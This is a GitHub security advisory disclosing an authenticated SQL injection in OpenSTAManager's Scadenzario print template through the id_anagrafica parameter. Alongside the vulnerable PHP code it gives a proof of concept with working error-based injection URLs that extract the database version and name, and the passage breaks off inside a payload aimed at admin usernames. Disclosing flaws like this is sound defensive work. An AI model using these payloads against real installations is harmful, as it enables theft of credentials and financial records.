GitHub Security Advisory: GHSA-q6g3-fv43-m2w6
Package: devcode-it/openstamanager (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 2.9.8
Patched in: unpatched

Summary: OpenSTAManager has a SQL Injection in Scadenzario Print Template

Details:
### Summary
An **authenticated SQL Injection vulnerability** in OpenSTAManager's Scadenzario (Payment Schedule) print template allows any authenticated user to extract sensitive data from the database, including admin credentials, customer information, and financial records. The vulnerability enables complete database read access through error-based SQL injection techniques.

### Details

The vulnerability exists in `templates/scadenzario/init.php` at **line 46**, where the `id_anagrafica` parameter is directly concatenated into an SQL query without proper sanitization:

**Vulnerable Code:**
```php
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
    $module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
    $id_anagrafica = get('id_anagrafica');
}
```

The `get()` function retrieves user input from GET/POST parameters without validation. The parameter value is directly embedded into the SQL query string using string concatenation instead of using the application's `prepare()` sanitization function, enabling SQL Injection attacks.

**Root Cause:**
- Missing use of `prepare()` function for input sanitization
- Direct string concatenation in SQL query construction
- No input validation or type checking

**Affected Endpoint:**
```
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
```

**Affected Files:**
- `templates/scadenzario/init.php` (line 46) - **Primary vulnerability**
- `templates/scadenzario/init.php` (lines 34, 40) - Similar pattern with date parameters
- `pdfgen.php` - Entry point for template rendering


---

### PoC (Proof of Concept)

#### Prerequisites
- Valid authenticated session (any user role)

#### Exploitation Steps

**1. Confirm Vulnerability - Basic Syntax Error Test:**
```bash
 http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
```

SQL syntax error displayed in application response

<img width="2195" height="392" alt="image" src="https://github.com/user-attachments/assets/f62ca7b4-2397-4f90-8698-6cf7f867d102" />

---

**2. Extract Database Version - Error-Based SQLi:**
```bash
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
```

**Result:** `~8.3.0~` (MySQL version)

<img width="2061" height="378" alt="image" src="https://github.com/user-attachments/assets/8ea16c47-36cc-4c25-a624-b42ccfcdf52f" />

---

**3. Extract Database Name:**
```bash
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
```

**Result:** `~openstamanager~`

<img width="1954" height="345" alt="image" src="https://github.com/user-attachments/assets/47[PII_REDACTED]-4c03-b242-efa513eb28f8" />

---

**4. Extract Admin Username:**
```bash
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%